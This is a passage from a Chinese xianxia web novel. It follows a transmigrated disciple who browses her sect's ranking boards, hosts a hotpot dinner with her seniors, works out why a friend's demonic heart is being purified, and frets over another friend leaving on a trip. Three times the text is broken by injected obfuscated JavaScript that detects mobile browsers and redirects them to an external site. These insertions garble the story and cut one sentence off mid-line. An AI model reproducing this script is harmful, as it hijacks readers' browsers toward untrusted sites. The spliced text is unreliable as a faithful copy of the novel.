“内门大考第一确实是有点东西啊!” “破妄剑不愧是天下第一的神兵!!跨境秒杀啊!!!那这沈玄宁在同等级岂不是完全无敌?” “就算是神兵破妄在手,她的修为起码跟管书悦也差得不是太多了,否则单凭神兵之力不足以做到一击秒杀。” 沈玄宁也没想到这情况,愣了好一会儿才反应过来,连忙将破妄剑归鞘收了起来,抬手对着管书悦拱了拱:“承让了,管师姐。” 管书悦拾起了地上的剑,倒没露出半分恼怒的神色,她看向沈玄宁,眼底只剩真切的佩服:“师妹着实厉害,难怪能进问剑峰。” 她说着,还对着沈玄宁笑了笑,语气诚恳:“是我技不如人了,以师妹现在的实力,想必不消几年就能晋入金丹期,我先在这里提前恭喜师妹了。” “多谢师姐吉言。” 二人并肩往结界外走,结果沈玄宁半只脚刚出了结界,脑海里就突然又响起系统毫无波澜的机械音。 “恭喜宿主,陆远声已净化2%,当前心化魔种程度98%。” 沈玄宁听到系统提示的瞬间,心脏猛地一跳,下意识便朝着人群外张望,果然看到陆远声正站在光幕的不远处,水墨色的道袍衬得他身姿清隽,与此同时他的视线也从光幕转移到了结界口的沈玄宁身上。 二人遥遥对视,沈玄宁先愣了半秒,他的变化瞧着像是比上次更大了,气质更加趋于柔和。 他就站在原地,没上前,也没移开视线。 只是静静看着她,眼神依旧很淡,却在某一瞬,极轻地抿唇冲她笑了笑。 系统提示音竟然再度响起。 “恭喜宿主,陆远声已净化3%,当前心化魔种程度97%。” 沈玄宁:“……” 不是。 这到底又是—— 什!么!情!况! 30.此榜甚好 这才两个月没见,突然又净化了2%,而且还有1%是当着她面净化的。 所以呢! 刚才又发生了什么! 让陆远声魔心净化的原因到底是什么! “阿声!”沈玄宁朝着陆远声挥了挥手,一路小跑了过去,“你怎么在这儿?” 陆远声道:“路过。” 沈玄宁回敬他之前的话:“不信。” 陆远声垂眸看她:“帮师尊给掌门师伯送东西。” 所以原来真的是路过,陆远声是老实人。 “小师妹,这谁啊?”冷玄明的声音突然插了进来,他刚跟管书珩拌完嘴,转头立刻凑了过来,上下打量着陆远声。 沈玄宁介绍道:“六师兄,这是我在外门时候的朋友陆远声。阿声,这是我六师兄。” 陆远声朝着冷玄明微微颔首,语气礼貌:“冷师兄。” 每隔几天就来上给全体外门弟子上‘自修课’的冷玄明,陆远声自然是还认得他。 “哦,还有印象,内门大考的第二,陆师弟好啊。” “阿声,来得正好,正好跟我一起看看这边有什么闲榜可以混点奖励。”沈玄宁拉着陆远声就要走,太极广场周围挂着不少金灿灿的榜,这都是内门的各种榜单,她还真是第一次来仔细看看。 她边走边状似不经意地问:“阿声,今天有什么高兴的事情吗?” “没有。”陆远声一脸奇怪地看着她,“你上次也问过这个问题了。” 沈玄宁:“……” “这个其实是我打招呼的一个方式,你懂吗?” 陆远声诚实道:“不懂。” 既然来了,沈玄宁想着不如顺道把周围的各大榜单都好好看一遍,这其实也是了解其他内门弟子的一个渠道,毕竟内门弟子万千,也不可能每个都认识,通过这个榜单可以大致了解一些。 常规榜单无非就是修为榜、神兵榜、灵兽榜这几类。 沈玄宁大致扫了一眼,发现除了修为榜还有常胜榜,其他很多榜问剑峰的人一个都不在,看来他们的武器排名都挺高的,便是藏着不打算拿出来霸榜。 咳咳。 师姐师兄们确实是太有素质了,沈玄宁再次收起了用破妄剑去混奖励的心。 每个榜单都是用聚灵阵浮在空中,只有前一百名有奖励。 沈玄宁盯着灵兽榜看了一会儿,果然如冷玄明之前说的那样,能躺奖励的第一百名是只三阶的火焰虎,来自于百灵峰的一名弟子,而排在榜首的是一只五阶灵狐,所属弟子竟然是坐忘峰的元清。 这灵兽榜从头到尾扫下来,大半部分都是百灵峰的弟子,当然也能理解,毕竟人家术业有专攻嘛! 就像炼器榜也好似玲珑峰的专属榜单一般,前十里有七个都是玲珑峰弟子,排在榜首的就是玲珑峰大弟子尹文霜的两仪锥。 当然这些榜也不完全准确就是了,毕竟藏拙的人不少,只要不报名,就不会出现在这个榜上,她才不信整个逍遥宗弟子加起来的灵兽最高等级只有五阶呢。 师门任务完成榜。 这榜单是宗门强制登记的,宗内弟子完成的师门任务都会自动录入,所以这排在第一和第二两个人的名字也是让沈玄宁十分意外。 ··师门任务完成榜·· 第一名,问剑峰,莫玄春,★★★★★三十七次。 第二名,问剑峰,常玄慈,★★★★★十七次。 第三名,流云峰,蒋秋序,★★★★★十一次,★★三次。 第四名,百灵峰,连柏,★★★★★七次,★★三十六次,★二百三十一次。 …… 沈玄宁一脸震惊地问冷玄明:“大师姐这么勤快吗?这都跟五师兄断层了。” 冷玄明咳嗽了一声,小声提醒道:“方师叔。” 沈玄宁道:“这得是抢了多少方师叔的任务。” 方不夷新收的徒弟陆远声:“……” 冷玄明道:“呵,元师兄每次都逮我说教我们问剑峰,你猜猜是为什么了。明明那都是大师姐干的,他倒是来看看这个榜啊!我的清白就在这里!” 沈玄宁又问道:“那连师兄呢,那二百多次的一星任务是啥啊!” 冷玄明道:“各家灵兽有点小毛小病的没事儿都往百灵峰挂任务,其他仙门的求助自然也是往百灵峰挂,不少人都直接指定他,所以连柏日常都在四处给灵兽看病,有时候下山一趟直接能看十几家。” “哦——”沈玄宁拖长了调子,恍然大悟地眨了眨眼。 原来是兽医! “这什么榜?”沈玄宁一字一句地念,“灵兽亲和榜???这什么东西?” 冷玄明道:“好像是,看你和灵兽的关系好不好。” 沈玄宁沉默了一下,手往腰间的锁灵囊一按,白光闪光,如今吃得愈发圆润的大强就被她抱在了怀里。 她把大强举到和自己平视的高度,看着它黑溜溜的小眼睛,语气颇为严肃地道:“大强,测试你对我忠不忠心的时候到了,你应该没有在心里偷偷骂我吧,我给你吃了这么多丹药,我待你不薄啊!!” 大强看了她两秒,小脑袋微微一抬,翻了个白眼。 沈玄宁:“……” 虽觉得大强也许还是没那么靠谱,但是沈玄宁觉得这榜是她可以尝试下没那么显眼的榜,于是就把大强带过去测试了。 这测试的方法确实也挺简单的,测试区域的地上有一发着白光的石碑,碑面上嵌着两个圆形的发光凹槽,让她和大强一起分别把手放在上面就行了。 沈玄宁听完以后很想问问,那些没有手的灵兽应该怎么办。 “一会儿把你蹄子放上去哦!” 她把手贴在了发光处,大强也是抬起猪蹄按在了上面。 刚贴上去一瞬间,原本白光褪去,化作了柔和的淡黄色光晕,光晕顺着两个凹槽蔓延,在碑面中央凝成一道光带。 与此同时,旁边用聚灵阵幻化的灵兽亲和榜突然泛起涟漪,最末尾的位置突然变换,而后一道光猛地窜了上去,榜单上前面的名次位置瞬间刷新,鎏金字体清晰地浮现出来: ··灵兽亲和榜·· 第一名,百灵峰,连柏,五阶雾隐猫,十分。 第二名,百灵峰,连柏,四阶幻音蝶,十分。 第三名,百灵峰,连柏,三阶风行驹,十分。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16260398|179985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 第四名,问剑峰,沈玄宁,二阶寻宝猪,九分。 …… 沈玄宁下意识仰头,看着悬浮在空中的灵力榜单。她原本以为能上个前一百就不错了,没想到直接冲到了第四,还得了九分! 她低头捧住了大强的小猪头,感动得眼泪汪汪:“大强,想不到你对我如此忠心耿耿,回去给你加餐。” 大强:“……” 不过这灵兽的前三名也是挺引人注意的,连柏师兄不愧是百灵峰峰主韩知止的亲传弟子,光他一个人居然有三只灵兽上榜,而且还都是满分,这个人灵兽亲合度到底是有多高? 还有他到底有几只灵兽啊! 冷玄明也是仰头看了看榜:“不错啊,都排到连柏下面去了,你这头猪还挺贴心的。” 沈玄宁看向冷玄明问道:“六师兄,灵兽榜第四名有什么奖励啊?” 冷玄明两手一摊:“我不知道,我可没养灵兽,跟这榜八竿子打不着。” 再看向陆远声,好了不用看了,这位更是不知道。 旁边有个师姐好心解释道:“灵兽榜第四名,每个月可以获得五枚逍遥令,还有五十份百灵峰出品的上品灵兽口粮,那里面加了月华露,灵兽吃了不仅能补灵力,还能加速它的进阶。” “这么好啊?”沈玄宁惊喜道,“多谢师姐解惑。” “快快快,再看看还有什么能凑凑热闹的榜!”沈玄宁这下得了好处更是积极,目光扫过周围悬浮的榜单,才发现逍遥宗内门的排榜竟比她想象中多得多,整个太极广场边上的中心位置是巨大的常胜榜和修为总榜,两边各自排开,围了广场不小的范围。 “音律榜?这是什么?” 冷玄明道:“内门有不少以乐器作为修炼法器的弟子,就好比坐忘峰和流云峰都有不少琴修弟子。” “……这又什么?竞速榜?” “这个我熟!”冷玄明立刻来了精神,解释道,“就是御剑竞速!用的统一发的剑,从主峰出发到玲珑峰返回,绕着整个逍遥宗内门飞一圈,用时最快的上榜。” 果不其然,沈玄宁看到了这个榜单的第一名是冷玄明。 “呵呵,你好无聊啊师兄。” 三人把太极广场上悬着的十几块灵力榜单从头到尾看下来,足足耗了近一个时辰。不得不说设立这些榜单的宗主大人鹤游子确实挺有童心,里面有不少她看了都想笑的趣味比赛。 不过这些趣味竞技终究不比常胜榜、修为榜那些能体现弟子的核心实力,含金量自然差了一截,因此榜单奖励就没有那么丰厚了,纯纯是给大家找点乐子。 沈玄宁转悠完在心里盘算了一圈,选了几个感兴趣的项目,打算有空的时候过来参加一下,万一上个榜还能混点奖励。 只可惜稳拿第一的神兵榜她实在不好意思去凑热闹,拿师尊的佩剑出去确实是有些太欺负人了。 不过倒是还有个榜她可以混个第一,只有入内门五年的弟子可以参加的新弟子修为榜,里面只有她最接近金丹修为,所以只要报名自然就成了第一名。 反正这修为在内门大考已经显眼过了,沈玄宁自是不避讳了,顺便给陆远声也报了一个。 31.玄慈师兄 今天沈玄宁是打定主意要研究出陆远声魔心净化的原因。 于是她生拉硬拽,哦并没有,其实陆远声也是很自愿地跟着她一起回了问剑峰。 沈玄宁找的理由也是让人无法拒绝,就是叫陆远声一起来吃饭。 内门除了新入门的弟子,大多数都是筑基期以上。 所以不像外门一样专门设置了统一食堂,想吃饭的话基本都是在主峰内解决。 各峰的情况也是天差地别,就比如问剑峰这样的压根就没有食堂,符天峰倒是有食堂,但是里面的东西就跟没放盐一样,味道能淡出鸟来,当然他们峰主本人极其嘴馋是个例外。 沈玄宁一想到陆远声入了符天峰这神神叨叨的道士窝,多半也是每日清汤寡水。 于是她循循善诱。 “阿声,入门几个月了,你都还没来问剑峰玩过,阿梨他们都来过了,我的院子可大了,门口还有湖,你来瞧瞧吧。” “我前两日特意下山转了圈,淘了好些凡间的新鲜吃食,我都买回来了啊,阿声,晚上我们一起吃好吃的火锅啊,包香!包辣!包过瘾!” 沈玄宁最后扔出个炸弹,“还有很好喝的小甜水哦!” 陆远声:“……行。” 冷玄明也是十分积极地听进去了:“什么火锅,什么小甜水?” 沈玄宁问道:“师兄,你多久没吃过正经饭了?” 冷玄明摸着下巴琢磨了一下:“很久了,我也不大记得了。” 沈玄宁看着他那张分明只有二十岁出头的俊逸面孔,突然想起修仙者的年龄向来是个谜,忍不住好奇追问:“师兄,你如今多大了?” 冷玄明闻言猛地往后仰了一步,像是被问了什么惊天秘密,眼神都警惕起来:“你问这个做什么?” 沈玄宁:“纯纯的好奇。” 冷玄明轻咳一声,语气含糊:“这哪还能记得清?有时候一闭关就不知这世上日月了,而且修仙之人不论年岁,等你到了金丹期就知道了,容貌可以定格在你突破之后最鼎盛的模样,青春永驻,你愿意多大就多大,只要你突破的时候够年轻,你愿意保持如今这十二三岁的模样也没人管你,我看你要突破最少也要十六岁了,想当年师尊也是……” “算了!不说这个了!”他顿了顿,又赶紧转移话题,“晚上的火锅带我一个,我去扶疏峰找阿星要点花花草草给你涮锅子。” 沈玄宁本以为是三两个人吃饭,结果真到了开锅的时候满满当当坐了一大桌。 冷玄明抓来了扶疏峰的温南星,大师姐身后是死皮赖脸跟来的顾文竹,沈玄宁和陆远声回来路上又在峡谷石桥那边碰上了谢疏言和柳问松,自是顺理成章把人一起拐过来。 沈玄宁正打算坐下,突然神识感应到院外站着一人,便是出去瞧了瞧。 站在门口的人穿了身玄色长袍,袍角绣着繁复的云纹暗绣,其上隐约可见有灵力流转,他头戴一顶嵌着剔透蓝宝石的银冠,冠上垂下几缕珠翠短流苏,衬得整个人贵气逼人。 他身姿挺拔,神情严肃,背后还负着一把通体漆黑的长剑,转身朝沈玄宁投来目光。 沈玄宁愣了愣,走上前客气地问道:“这位师兄,请问你找谁?” 那人抬眼,视线在她脸上停留片刻,而后眼眸微微垂下,思索了两秒后才声音低沉地开口:“是小师妹吗?” 沈玄宁联想了一下还有谁会这么叫她以后,不可置信道:“……五师兄?” “嗯。”常玄慈点了点头。 还真是五师兄! 沈玄宁忍不住又多看了他两眼,心里很是震惊,常玄慈跟她想象的形象也差太远了吧! 冷玄明之前把常玄慈描述成了一个恪守门规,做任何事都一板一眼的严肃小古板形象,平日不是在闭关修炼就是外出斩妖除魔。 今日在太极广场的榜上看到他是完成五星师门任务最多的一位,当然是除开大师姐抢的那些方师叔的美食任务。 她原本还以为五师兄会是个穿着简单的淳朴弟子。 结果眼前这人,浑身华丽的贵公子,不说的话她都要以为是东方既明的成熟版了。 “见过五师兄。”沈玄宁行了个礼,想起他之前是去灵州镇压异兽了,便是寒暄道,“五师兄刚从灵州回来?” “嗯。”常玄慈微微颔首,“灵州妖兽作乱之事已毕,刚去交了师门任务。” “五师兄辛苦了。”沈玄宁看着常玄慈始终严肃的神情,一时竟想不出下一句该说什么,场面刚要冷下来,她才反应过来该邀人吃饭,连忙道,“五师兄,今日我和六师兄他们准备了些吃食,你一起吃点吧。” 她心里其实没抱太大期望,总觉得常玄慈会皱着眉拒绝,再念叨两句修道者当戒口腹之欲之类云云。 可没成想,常玄慈几乎没犹豫,就应了声:“好。” 这么轻易就答应了? 沈玄宁立刻侧身让开了位置,引着他入内。 “五师兄请。” 常玄慈问道:“你住在山下?” 沈玄宁道:“嗯,我觉得这映月湖风光不错,而且这个院子也很漂亮,就住山下了,师兄你住哪里啊?” 常玄慈道:“山顶。” 二人进了庭院,院内已经热热闹闹地撑了一张比寻常方桌大两倍的木桌,桌边已经坐满了人,而桌中央架着的那口大锅更是惹眼,锅沿还冒着袅袅热气,火锅底料香味顺着风飘得满院都是。 现代的火锅底料还是太香了些。 亏得系统空间的家里还有沈玄宁之前无聊看到买的大铁锅,这下刚好拿出来用。 冷玄明正坐在温南星旁边,一只手搭在桌沿,另一只手从旁边温南星现种出来的一棵不知名植物上薅了几片菜叶下来,直接扔到了沸腾的锅里。 他搅和搅和打捞起来正准备吃,抬头时却瞥见了跟在沈玄宁身后的常玄慈,眼睛瞬间瞪圆,手里的筷子都停在了半空:“老五?” 一时间惊得他菜都忘记放进嘴里。 莫玄春也很快看到了常玄慈,笑着朝他招了招手:“小五回来了啊!刚从灵州回来?” “是,大师姐。”常玄慈走上前,规矩标准地对着桌边的人挨个点名招呼,“柳师兄,顾师兄,温师兄。” 在场坐着的几位,常玄慈一一问候,这辈分是越听越低。 常玄慈问候完几位师兄,目光落在冷玄明身上时,辈分终于高了:“六师弟。” 随后目光又转向柳问松旁边的谢疏言和陆远声,直言不讳:“这两位师弟,我不认识。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16260399|179985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 柳问松笑道:“好久不见啊,玄慈,这位是我师弟,另一位是符天峰的师弟。” 谢疏言立刻站起身,拱手行礼:“常师兄好,我是栖霞峰的谢疏言。” 陆远声也跟着起身道:“符天峰,陆远声,见过常师兄。” 常玄慈仔细听着,还微微点了点头,像是颇为认真地记下了二人的名字,应道:“嗯,谢师弟,陆师弟。” 沈玄宁在身后站着,常玄慈这一圈儿招呼打下来,她看着都累了,“五师兄,您快坐吧。” “来来来,老五坐我旁边。”冷玄明拍了拍自己身边的空位,转头却看到莫玄春瞪了他一眼,他颇为心虚地别开了眼。 常玄慈依言坐到了冷玄明和莫玄春的中间,刚坐下便是道:“大师姐,方才我去执事堂交师门任务,回来时碰上了元清师兄,他说……” 元清和常玄慈这两个名字组合,莫玄春一听就开始头疼了。 她急急打断:“好好好!我知道了,我下次真的不去了,小五,吃饭,快吃。” “大师姐……” “快吃。”莫玄春再一次打断,往他面前的碗里捞了几片菜叶子。 常玄慈还是没有先吃饭,他指尖有灵力一闪,从储物袋内取出一面巴掌大的青铜古镜,递到了坐在对桌的沈玄宁面前。 沈玄宁没有伸手去接,满是疑惑地抬头:“五师兄,这是……?” 常玄慈道:“山川巡天鉴。” 沈玄宁又一次被震惊了,看常玄慈的意思这东西是要送她吗? 山川巡天鉴! 《法宝录》里自然是有详细记载,此物也算是防御类法宝中名列前茅的了。 外形是一面青铜古镜,镜中藏有古时的山川脉络,镜面却是朦胧不清。 此镜可照见方圆百里内的灵气流动,乃至隐藏的恶意杀机,令法宝拥有者可洞察先机。当然它主要还是作为防御法宝被使用,若遇危险,将其悬于头顶,镜中会垂下金色光幕,不仅能抵挡绝大数的攻击,还能吸收、折射甚至反弹一部分。 可以说是个非常实用的防御法宝,重点是它笼罩范围还不小,可以根据拥有者的灵力变化防御范围。 大反甲啊这是! 见她没拿,常玄慈指尖捏着镜柄又往前递了递:“师妹入门时我未在场,这是补上的入门礼。” “……”沈玄宁有些懵了。 山川巡天鉴绝对算得上是顶级法宝了,这么贵重的东西,就随便送吗?! 书里没有介绍常玄慈的家庭情况,她之前还脑补了一出五师兄这般勤快,应是个一门心思练剑、靠宗门俸禄过活的平民弟子。 结果是她脑补过度了,看他这出手大方程度,家里只怕也是个非富即贵的仙门世家了。 果然下一秒就听莫玄春道:“拿着吧,小师妹,小五他家……穷得就剩下钱了,这点东西根本不算啥。” “谢谢五师兄。”沈玄宁诚惶诚恐地接了山川巡天鉴。 “嗯。”常玄慈终于开始吃饭了,低头颇有些乖巧地吃了一口莫玄春给他捞的菜叶子。 之后他每次想开口跟莫玄春说话,大师姐都会眼疾手快地给他捞菜叶子。 而冷玄明十分默契地在旁边把温南星原地种的菜给薅秃了。 32.净化之由 沈玄宁今日摆上桌的食材,大半都来自系统空间里的别墅,少部分真是她在云山镇买的,她一开始是知道别墅里的东西每天都会自动刷新所以就放心吃喝,后来经过测试发现,只要把物资搬到别墅外,不用离开系统空间也会刷新。 于是她就每天去一趟空间,把别墅的东西清空到别墅外面,时间一久,不知不觉就在系统空间里攒出了一个庞大的数字。 有很多东西在修仙界少见,她打算挑些不那么奇怪的小零嘴改换包装到时候拿到铺子里和书一起卖,从小钱开始赚起,然后赚大钱。 最后有钱到天天躺在灵石上修炼! 而且做这些计划对于以前就很喜欢玩一些种田游戏的沈玄宁来说,简直不要太开心。 真人版的种田游戏,她琢磨了一下日后的挣钱计划,想想就觉得特别有意思。 “大师姐,还有各位师兄师弟们,来尝尝我新买的糖水。” 说着,她抬手从锁灵囊里掏出十几只玉瓶,这是她在云山镇淘的,在空间里面存了一大批,瓶身光滑通透,平时用来装灵液、丹药都合适,要是想改换一些包装饮料拿出来也比较方便。 此刻这玉瓶里装的不是别的,正是来自于现代世界的冰镇可乐,特意换了包装用玉瓶装起来,还提前用灵力细细封住了瓶口,防止泄气。 沈玄宁用灵力控制着玉瓶,在每个人手边摆了一瓶。 冷玄明道:“这里都是你师兄,哪来的师弟?” 沈玄宁还没开口,常玄慈已是一本正经替她解释道:“小师妹内门大考拿了第一,按宗门规矩,同届弟子不论年纪,皆以大考排名定辈分。她是第一,自然算这一届所有弟子的大师姐。” “是啊是啊,五师兄说得对。”沈玄宁立刻顺着话茬接了过来,还笑眯眯地转向谢疏言,故意拖长了语调调笑,“小谢啊,以后可得叫我师姐了哈。” 谢疏言闻言抬眼看向她,只见沈玄宁手肘撑在桌边,双手托着脸颊,眼睛弯得像月牙,一脸促狭地在等着看他的反应。 “好。”他点点头,眼底是无奈又纵容的笑意,顺着她的意思道:“师姐。” 这声师姐喊得干脆,没有半分不情愿,让沈玄宁笑得更欢了:“乖。” 冷玄明第一个打开玉瓶尝了尝可乐,冰凉的液体刚滑进喉咙,气泡就在舌尖炸开,带着点微麻的刺激感,还有些甜丝丝的,冲散了嘴里残留的辣意。 他晃了晃手里的玉瓶,一脸震惊地问沈玄宁:“这什么东西,这味道……怎么这么奇怪?” 沈玄宁反问道:“你就说味道咋样么?” 冷玄明没立刻回答,而是又喝了一大口,这次放慢了速度,他砸了砸嘴:“味道倒是不错!甜得刚好,就是这喝进去舌头麻麻的,还有这气在嘴里窜,挺好玩的。” “有这么好玩儿啊?那我也尝尝。”莫玄春见冷玄明这个反应,也是好奇地打开玉瓶尝了一口,“哎?你别说,这味道还真挺奇怪的,但是越喝越想喝,小师妹,你这东西叫什么啊?” “这个东西叫可乐,还有个比较好玩的名字,叫快乐水。”沈玄宁也开了一瓶,“喝了能让人变快乐的小甜水。” “快乐水?”冷玄明立刻仰头把手里这瓶给全喝了,“那我得多喝点。” “小谢,好喝吗?”沈玄宁坐在谢疏言的旁边,将自己的瓶子往他的瓶身上轻轻一碰,发出“叮”的一声轻响。 谢疏言被她的称呼逗笑,弯了弯嘴角应道,“好喝。” 旁边的莫玄春见两人碰杯热闹,也笑着举起自己的玉瓶:“既然这样,那咱们大家一起碰一个!” “好嘞!”顾文竹第一个响应。 冷玄明更是积极,刚拧开新瓶的塞子,就举得高高的:“干杯!干了这快乐水!” “干杯!”其他人也是应和,几个玉瓶在火锅上方轻轻相碰。 沈玄宁举着瓶子,看着身边一张张带笑的脸,心情也是非常地好,她悄悄盼着脑海里能响起熟悉的系统提示音。 可等了好一会儿,半点提示都没有。 她下意识看向陆远声,见他嘴角也挂着淡淡的笑意,比起沈玄宁第一次见到他的时候不知道好了多少,可系统依旧没动静。 所以他的魔心净化,与这些无关。 沈玄宁丧丧地想,这又是什么道理? 情绪堕入极端便会引起他的黑化,魔心吞噬神智,那为何心情向好,却无法反向净化魔心呢? 这公平吗! 她叹了口气,不过想想也是,既然在书中他是喜欢鹤穗的,那么起码鹤穗是能让他开心的,但是鹤穗也没能让他魔心净化。 等等…… 净化? 符天峰! 沈玄宁心头猛地一震,像被一道灵光劈中,她好似无数次与正确答案擦肩而过,那些被忽略的细节此刻在脑海中骤然清晰,串联成一条直指核心的线索。 她明明已经无数次想到,跟原著里那个被仇恨裹挟、最终入魔的陆远声相比,如今的他分明有两处截然不同的关键转折: 谢疏言还活着,没有成为他憎恨逍遥宗的缘由,而他也并没有如书中那般,为了追求最强的攻伐之力拜入问剑峰,反而选择了本心所向的符天峰。 陆远声心化魔种不可逆转。 可符天峰以正统道法立山、专精符箓之术,峰中传承的净化之术,连盘踞百年的凶煞邪祟都能镇服拔除,最是擅长净化邪祟、驱散阴晦。 问剑峰的剑法,以拂心为名,虽然能借剑势梳理心绪、保灵台清明,却终究是攻伐之力的附属,没有符天峰那般直指本源的净化之力。 陆远声修行剑术,魔心却在暗中秽了他的剑气,随着灵力日渐深厚,杀伐之气与他的魔心不断交缠,如同火上浇油,一步步加速他的入魔,最终彻底失控将他推入黑化的深渊。 而如今他身在符天峰,修的是净化之术,一点点冲刷着魔心滋生的阴晦。他从前那般阴沉沉的地拒人于千里之外,说不得就是魔心作祟。如今魔心既已开了净化的头,那层压在他身上的阴霾自然渐渐淡去,气质也跟着变得平和,照这样下去,日后随着修行渐深,他定会越来越好。 符天峰的术法镇邪驱祟,陆远声大概自己也想不到,他日日勤修不辍,最先净化的,竟是自己体内的魔心。 如此,一切似乎都能解释得通了。 陆远声的净化是从他拜入符天峰开始的,而只有每次陆远声出现在自己附近,系统才会有提示,他的净化一直在进行,但是只有他本人出现在她面前时,系统才能感应到并且提示自己。 如果长期不碰面,净化的进度应该会攒到下次见面的时候一起提示? 她克制了自己的激动看了陆远声一眼,直觉这就是真相。 沈玄宁一心琢磨这事儿的时候,突然听到温南星问起了常玄慈这次外出的师门任务。 温南星语带关切:“玄慈,你这次去灵州镇压异兽似乎费了不少功夫,不知是何缘由? ” 常玄慈闻言,神色比先前多了几分凝重:“此次的师门任务,是受灵州许氏所托。灵州 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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柳问松也接口道:“嗯,师尊也说灵州有异,为防邪修卷土重来,栖霞峰弟子的历练提前了,再过半月就要下山,此次重点前往灵州方向。” “你们要去灵州?”沈玄宁心里咯噔一下,看向谢疏言,“你也要去?” 谢疏言点点头:“栖霞峰新弟子素来有规矩要下山行医历练,我自是也要去。” 沈玄宁想也没想就开口阻拦:“不行,你不能去。” “为何不可?” 沈玄宁张了张嘴,却发现自己一句话也说不出来 。 她手里拿着原著,自然知道这沧澜江底下的东西是什么。 千灯教豢养的黑水玄蛟,它根本就不是出逃。 它是被人抓走的! 五年后魔族利用玄蛟引发烟州水患,数十万百姓流离失所,而千灯教也会借着水患大肆收拢信徒。 烟州水患,千灯教现。 《藏心》主线的第一个大副本就要来了。 可是她什么都不能说。 一来,她没法解释自己如何知晓这些未发生的事。 二来,系统绝对禁止她擅自阻止任何一个大事件的发生,哪怕她拼尽被怀疑夺舍的风险,真的说服师门提前抓住了那只黑水玄蛟,系统也有的是办法让剧情回归正轨。 或许是另一只妖兽作乱,或许是再出别的变故,总之水患该来的还是会来。 之前沈玄宁无知无觉地还觉得知道未来走向挺好,总能为自己趋利避害。 这一刻她哑口无言。 突然觉得什么都知道也不是什么好事儿。 33.第一卷完 自从知道谢疏言要下山历练之后,沈玄宁就一直忧心忡忡的。 栖霞峰以医入道,谢疏言作为峰主曲无忧的亲传弟子,下山历练自是必然,这次虽说是往灵州方向倾斜,却也不是直接扎进险地。 千灯教既然已经转移了黑水玄蛟,眼下的灵州顶多只剩些散逸的魔气,栖霞峰弟子下山,也只是在周边城镇的医馆坐诊,实在算不上危险。 但是她还是不放心,万一谢疏言出了什么事儿? 陆远声怎么办啊! 这些话没法对人说,纠结了整整两天,沈玄宁终于还是按捺不住,趁着夜色绕到了栖霞峰谢疏言的院子里,对着他的窗户轻轻敲了敲。 谢疏言似是站在窗边,刚敲两下窗户就被拉开了,见是她有些惊讶:“玄宁?这么晚了,你怎么来了?” “如果非要去的话。”她把刚在兜里揣了没两天的山川巡天鉴塞给了谢疏言,“你把这个带上吧。” 谢疏言看清是什么以后立刻把东西推了回去,摇了摇头道:“不行,这个是你师兄送你的,我怎么能拿。” “我就在山上修炼,用不到这个,你下了山若是有危险也可以保护你。”沈玄宁一只手固执拽住了他的袖子,“我真的不能让你有危险。” “玄宁,我真的不会有事。”谢疏言看着她急切的模样,耐心解释:“栖霞峰的医馆遍布修真界,峰内弟子都要跟着入世行医,以凡世医者之心感悟道法,增进修为。” “真的不会有危险的。” 其实谢疏言说得对,栖霞峰的弟子多数不以战斗术法见长,宗门既让他们下山历练,又怎么可能让他们涉险,就算去灵州附近,也只是查探附近百姓是否有异,是否受了魔气影响等等。 而且那些医馆都是宗门经营多年的,周边安全早就有弟子排查过。 她确实是担心过了头。 沈玄宁道:“那要去多久啊?” 谢疏言道:“三年。” 沈玄宁道:“这么久?” 谢疏言见她一脸怅然,安慰道:“三年很快的。” 三年时间确实很快,对动辄闭关数十年的修真者来说更是弹指一瞬。 沈玄宁转念一想,其实下山也好。 这逍遥宗也不知道暗藏着什么她也没有查到的东西,等着害谢疏言的性命。虽然如今时刻监视着季时雨,但是他每天就是两点一线,从戒律峰跑到符天峰,偶尔甚至还到问剑峰附近遥遥地看一眼,除此之外,也没有什么特别的举动了。 谢疏言道:“在山上好好修炼啊,你有如此天赋,将来必定仙途坦荡,大乘踏仙。” 沈玄宁闻言摆了摆手:“我才不要成什么仙,我就想好好活着就行了。” 这话倒不是故作谦虚,而是她的心里话。 她本就不是这个修仙世界的人,对‘成仙’没有那么强的执念。再者,修炼到大乘境界,少则几百年,多则上千年,她光是想想那漫长到没有尽头的时光,就觉得心里发虚。 她完全想象不到,自己要以怎样的心态,去熬过那成百上千的岁月。看着身边熟悉的人一个个老去、离开,最后只剩下自己孤零零地追求那虚无缥缈的仙途。 实在是一件想想就觉得就可怕的事。 离谢疏言下山的日子越来越近,沈玄宁也是上蹿下跳地给他打包了一堆奇怪的吃食,一股脑塞进了他弟子令牌的储物空间内,谢疏言用灵力扫了眼令牌内的景象,只见各色吃食堆得满满当当,连他平日里放医书的地方都被挤占了大半。 他终于劝道:“玄宁,你这是把整个食铺都搬进来了?这些东西,怕是够我吃到回宗都吃不完。” “吃不完就慢慢吃!”沈玄宁理直气壮,“外面可买不到我这些吃食,好吃得不得了。” 出发这日,栖霞峰山门口格外的热闹。 